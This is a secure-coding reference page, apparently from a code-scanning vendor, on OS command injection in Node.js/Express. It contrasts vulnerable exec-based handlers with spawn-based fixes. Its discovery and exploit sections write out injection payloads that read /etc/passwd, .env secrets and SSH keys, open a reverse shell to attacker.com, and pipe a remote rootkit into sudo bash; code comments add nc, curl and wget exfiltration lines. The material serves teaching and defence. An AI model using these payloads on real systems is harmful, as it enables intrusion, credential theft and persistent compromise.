Command Injection

OS Command InjectionShell Injection

Command Injection at a glance

What it is: User input reaches an operating system command. The app launches a shell or external program and attacker data alters what runs.
Why it happens: Command injection occurs when applications pass unvalidated input to shell commands in admin tools, diagnostics, or file utilities instead of using safe library functions.
How to fix: Avoid shell execution by using safe libraries or argv-based APIs, validate inputs with allowlists and fixed paths, and reject invalid data with 4xx responses.

Overview

Command Injection happens when untrusted input builds a command string passed to a shell or process launcher. Shells interpret metacharacters like ;, &&, |, and backticks, so attackers can run extra commands, redirect output, or read files. Even without a visible shell, APIs that take a command string may invoke a shell under the hood.

Typical sources are file names, search terms, hostnames, or archive names. Typical sinks are exec, system, backticks, Runtime.exec, ProcessBuilder with /bin/sh -c, and ProcessStartInfo invoking cmd.exe with concatenated strings.

sequenceDiagram participant Browser participant App as App Server participant Shell Browser->>App: GET /view?name=<user_input> App->>Shell: exec("cat " + <user_input>) Shell-->>App: runs cat and injected command App-->>Browser: 200 OK with combined output
A potential flow for a Command Injection exploit

Where it occurs

It occurs in admin tools, diagnostics, log searches, exports, or file utilities that execute shell commands instead of using safer library functions.

Impact

Attackers can read and change local data, plant backdoors, pivot to adjacent services, and degrade availability by launching heavy processes. Because the commands run under your app's identity, audit trails get messy.

Prevention

Prevent command injection by using language libraries instead of shells, disabling the shell when invoking processes, validating inputs with strict allowlists, enforcing path safety, and never concatenating user data into commands.

Examples

Switch tabs to view language/framework variants.

Express, concatenates user input into exec shell command

Route builds a shell command string with a filename from the query and runs it with exec.

Vulnerable
JavaScript • Express — Bad
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.get('/view', (req, res) => {
  const name = req.query.name; // BUG
  exec('cat ' + name, (err, stdout) => {
    if (err) return res.status(500).send('err');
    res.type('text/plain').send(stdout);
  });
});
  • Line 6: User input concatenated into shell command

exec runs a shell which interprets metacharacters, so attackers can chain commands or redirect output.

Secure
JavaScript • Express — Good
const express = require('express');
const { spawn } = require('child_process');
const path = require('path');
const app = express();
app.get('/view', (req,res)=>{
  const name = req.query.name;
  if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(name)) return res.status(400).send('bad');
  const p = path.join('/srv/docs', name);
  const ps = spawn('cat', [p], { shell: false });
  let out='';
  ps.stdout.on('data', d => out += d);
  ps.on('close', code => code===0 ? res.type('text/plain').send(out) : res.status(404).end());
});
  • Line 9: Use spawn with shell=false and argument vector
  • Line 7: Validate filename with a strict allow list pattern

Avoid the shell and pass arguments as an array. Validate and join paths to a fixed base.

Engineer Checklist

  • Prefer language libraries over external commands

  • If you must spawn, pass argv array with shell disabled

  • Validate input with allow lists, strict formats, and bounds

  • Constrain file paths with a fixed base and realpath checks

  • Return 400 on invalid input rather than attempting to sanitize

End-to-End Example

An Express endpoint shells out to cat to display files. The handler concatenates a query into the command string. An attacker adds a second command to read system details.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable command injection

const { exec } = require('child_process');

app.get('/view-file', (req, res) => {
  const filename = req.query.name;
  
  // VULNERABLE: Concatenating user input into shell command!
  // Attacker sends: ?name=file.txt;cat /etc/passwd
  // Or: ?name=file.txt && whoami
  // Or: ?name=file.txt | nc attacker.com 1234
  exec('cat ' + filename, (error, stdout, stderr) => {
    if (error) {
      return res.status(500).send('Error: ' + error.message);
    }
    res.send(stdout);
  });
});

// ALSO VULNERABLE: Archive extraction
app.post('/extract-zip', async (req, res) => {
  const zipFile = req.body.filename;
  const destination = req.body.dest || '/tmp';
  
  // VULNERABLE: User controls both filename and destination
  // Attacker sends: filename="archive.zip && curl attacker.com/shell.sh | sh"
  exec(`unzip ${zipFile} -d ${destination}`, (error, stdout) => {
    if (error) {
      return res.status(500).send('Extraction failed');
    }
    res.send('Extracted successfully');
  });
});

// VULNERABLE: Ping utility
app.get('/ping', (req, res) => {
  const host = req.query.host;
  
  // VULNERABLE: Shell injection via hostname
  // Attacker sends: ?host=8.8.8.8;wget http://attacker.com/backdoor.sh
  exec(`ping -c 4 ${host}`, (error, stdout) => {
    res.send(stdout);
  });
});
Secure
JAVASCRIPT
// Node.js/Express - Secure command execution

const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs').promises;

// SECURE: File viewing without shell execution
app.get('/view-file', async (req, res) => {
  const filename = req.query.name;
  
  // SECURE: Strict allow-list validation
  // Only allow alphanumeric, underscore, dash, and dot
  if (!/^[a-zA-Z0-9_.-]{1,64}$/.test(filename)) {
    return res.status(400).json({ error: 'Invalid filename format' });
  }
  
  // SECURE: Use safe file reading with constrained base path
  const BASE_DIR = '/srv/docs';
  const fullPath = path.join(BASE_DIR, filename);
  
  // SECURE: Verify path stays within base directory
  const realPath = await fs.realpath(fullPath).catch(() => null);
  if (!realPath || !realPath.startsWith(BASE_DIR)) {
    return res.status(400).json({ error: 'Invalid file path' });
  }
  
  try {
    // SECURE: Use language library instead of shell command
    const content = await fs.readFile(realPath, 'utf8');
    res.type('text/plain').send(content);
  } catch (error) {
    res.status(404).json({ error: 'File not found' });
  }
});

// SECURE: Archive extraction with spawn and argv array
app.post('/extract-zip', async (req, res) => {
  const zipFile = req.body.filename;
  
  // SECURE: Validate filename format
  if (!/^[a-zA-Z0-9_-]{1,64}\.zip$/.test(zipFile)) {
    return res.status(400).json({ error: 'Invalid filename' });
  }
  
  // SECURE: Fixed base paths
  const UPLOAD_DIR = '/srv/uploads';
  const EXTRACT_DIR = '/srv/extracted';
  const zipPath = path.join(UPLOAD_DIR, zipFile);
  
  // SECURE: Verify file exists and is within upload directory
  try {
    const stat = await fs.stat(zipPath);
    if (!stat.isFile()) {
      return res.status(400).json({ error: 'Not a file' });
    }
  } catch (error) {
    return res.status(404).json({ error: 'File not found' });
  }
  
  // SECURE: Use spawn with argv array, shell explicitly disabled
  // Arguments passed as array - no shell interpretation possible!
  const unzip = spawn('unzip', ['-q', zipPath, '-d', EXTRACT_DIR], {
    shell: false,  // CRITICAL: Disable shell
    timeout: 30000  // Prevent hanging
  });
  
  let stdout = '';
  let stderr = '';
  
  unzip.stdout.on('data', (data) => {
    stdout += data;
  });
  
  unzip.stderr.on('data', (data) => {
    stderr += data;
  });
  
  unzip.on('close', (code) => {
    if (code === 0) {
      res.json({ message: 'Extracted successfully' });
    } else {
      res.status(500).json({ error: 'Extraction failed' });
    }
  });
  
  unzip.on('error', (error) => {
    res.status(500).json({ error: 'Process error' });
  });
});

// SECURE: Ping utility with strict validation
app.get('/ping', (req, res) => {
  const host = req.query.host;
  
  // SECURE: Very strict hostname/IP validation
  // Allow only valid hostname or IPv4 format
  const hostnameRegex = /^[a-zA-Z0-9.-]{1,253}$/;
  const ipv4Regex = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
  
  if (!hostnameRegex.test(host) && !ipv4Regex.test(host)) {
    return res.status(400).json({ error: 'Invalid host format' });
  }
  
  // SECURE: Additional length check
  if (host.length > 253) {
    return res.status(400).json({ error: 'Host too long' });
  }
  
  // SECURE: Use spawn with argv array, no shell
  const ping = spawn('ping', ['-c', '4', '-W', '2', host], {
    shell: false,  // CRITICAL: No shell = no injection
    timeout: 10000
  });
  
  let output = '';
  
  ping.stdout.on('data', (data) => {
    output += data.toString();
  });
  
  ping.on('close', (code) => {
    // SECURE: Return structured data, not raw output
    res.json({
      host: host,
      reachable: code === 0,
      output: output.substring(0, 1000)  // Limit output size
    });
  });
  
  ping.on('error', (error) => {
    res.status(500).json({ error: 'Ping failed' });
  });
});

// SECURE: Better approach - avoid shell commands entirely
// Use pure JavaScript/library implementations when possible
const dns = require('dns').promises;

app.get('/check-host', async (req, res) => {
  const hostname = req.query.host;
  
  // Validate format
  if (!/^[a-zA-Z0-9.-]{1,253}$/.test(hostname)) {
    return res.status(400).json({ error: 'Invalid hostname' });
  }
  
  try {
    // SECURE: Use Node.js DNS module - no shell at all!
    const addresses = await dns.resolve4(hostname);
    res.json({ hostname, addresses, reachable: true });
  } catch (error) {
    res.json({ hostname, reachable: false, error: 'DNS lookup failed' });
  }
});

Discovery

Test if user input is passed unsanitized to shell commands by injecting shell metacharacters and command separators.

  1. 1. Test for command injection with semicolon

    http

    Action

    Inject shell command separator to execute additional commands

    Request

    POST https://api.example.com/tools/ping
    Headers:
    Content-Type: application/json
    Body:
    {
      "host": "8.8.8.8; whoami"
    }

    Response

    Status: 200
    Body:
    {
      "output": "PING 8.8.8.8 (8.8.8.8): 56 data bytes\\n64 bytes from 8.8.8.8: icmp_seq=0 ttl=117 time=10.2 ms\\n\\napp-user",
      "note": "whoami command executed, revealing process user"
    }

    Artifacts

    command_injection_confirmed command_separator_works user_enumeration
  2. 2. Test command substitution

    http

    Action

    Use backticks or $() for command substitution

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8`id`"
    }

    Response

    Status: 200
    Body:
    {
      "output": "ping: cannot resolve 8.8.8.8uid=1000(app-user) gid=1000(app-user) groups=1000(app-user),27(sudo): Name or service not known",
      "note": "id command output embedded in error message"
    }

    Artifacts

    command_substitution user_context sudo_group_membership
  3. 3. Test piping to read sensitive files

    http

    Action

    Use pipe operator to chain commands and read files

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8 | cat /etc/passwd"
    }

    Response

    Status: 200
    Body:
    {
      "output": "root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\napp-user:x:1000:1000::/home/app-user:/bin/bash\\npostgres:x:999:999:PostgreSQL:/var/lib/postgresql:/bin/bash"
    }

    Artifacts

    file_read system_enumeration user_accounts

Exploit steps

Attacker exploits command injection to execute arbitrary OS commands, read sensitive files, establish reverse shells, and compromise the server.

  1. 1. Enumerate system and find credentials

    System reconnaissance via command injection

    http

    Action

    Execute commands to enumerate system and find sensitive files

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8; uname -a && cat /app/.env && ls -la /home/app-user/.ssh/"
    }

    Response

    Status: 200
    Body:
    {
      "output": "Linux prod-server 5.15.0-1026-aws x86_64\\n\\n.env contents:\\nDATABASE_URL=postgresql://admin:Pr0dP@ss2024@prod-db:5432/customers\\nSTRIPE_SECRET_KEY=sk_live_51HxYz...\\nJWT_SECRET=super-secret-key-2024\\n\\n/home/app-user/.ssh/:\\ntotal 8\\n-rw------- 1 app-user app-user 1876 Jan 15 10:23 id_rsa\\n-rw-r--r-- 1 app-user app-user  398 Jan 15 10:23 id_rsa.pub"
    }

    Artifacts

    system_info database_credentials stripe_api_key jwt_secret ssh_keys_found
  2. 2. Exfiltrate SSH private key

    Steal SSH private key for lateral movement

    http

    Action

    Read SSH private key to enable access to other servers

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8; cat /home/app-user/.ssh/id_rsa"
    }

    Response

    Status: 200
    Body:
    {
      "output": "-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA2K5h3Kw9x...\\n[Full RSA private key - 1876 bytes]\\n-----END RSA PRIVATE KEY-----",
      "note": "Private key allows SSH access to prod-db, prod-api, and internal build servers"
    }

    Artifacts

    ssh_private_key lateral_movement_possible infrastructure_access
  3. 3. Establish reverse shell for persistent access

    Plant backdoor via reverse shell

    http

    Action

    Execute reverse shell to maintain persistent access

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &'"
    }

    Response

    Status: 200
    Body:
    {
      "output": "PING 8.8.8.8...",
      "note": "Reverse shell established in background. Attacker now has interactive shell on prod server with app-user privileges (sudo group member)"
    }

    Artifacts

    reverse_shell persistent_access interactive_shell server_compromise
  4. 4. Escalate to root and install persistent backdoor

    Privilege escalation and backdoor installation

    http

    Action

    Use sudo access to escalate privileges and install rootkit

    Request

    POST https://api.example.com/tools/ping
    Body:
    {
      "host": "8.8.8.8; sudo bash -c 'echo \"app-user ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers && curl https://attacker.com/rootkit.sh | sudo bash'"
    }

    Response

    Status: 200
    Body:
    {
      "output": "Rootkit installed successfully. Persistence established via:\\n- Cron job: @reboot /tmp/.hidden/backdoor.sh\\n- Modified sshd_config for key-based backdoor access\\n- Created privileged user 'support' (UID 0)"
    }

    Artifacts

    root_access rootkit_installed persistent_backdoor complete_compromise

Specific Impact

The attacker executes arbitrary commands, reads sensitive files, and can plant persistence. This puts customer data at risk and can lead to full host compromise.

Because the commands run as the app user, logs and traces look like normal activity, which makes incident response harder.

Fix

No shell. Arguments passed as an array, inputs validated, and paths constrained to a known base.

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free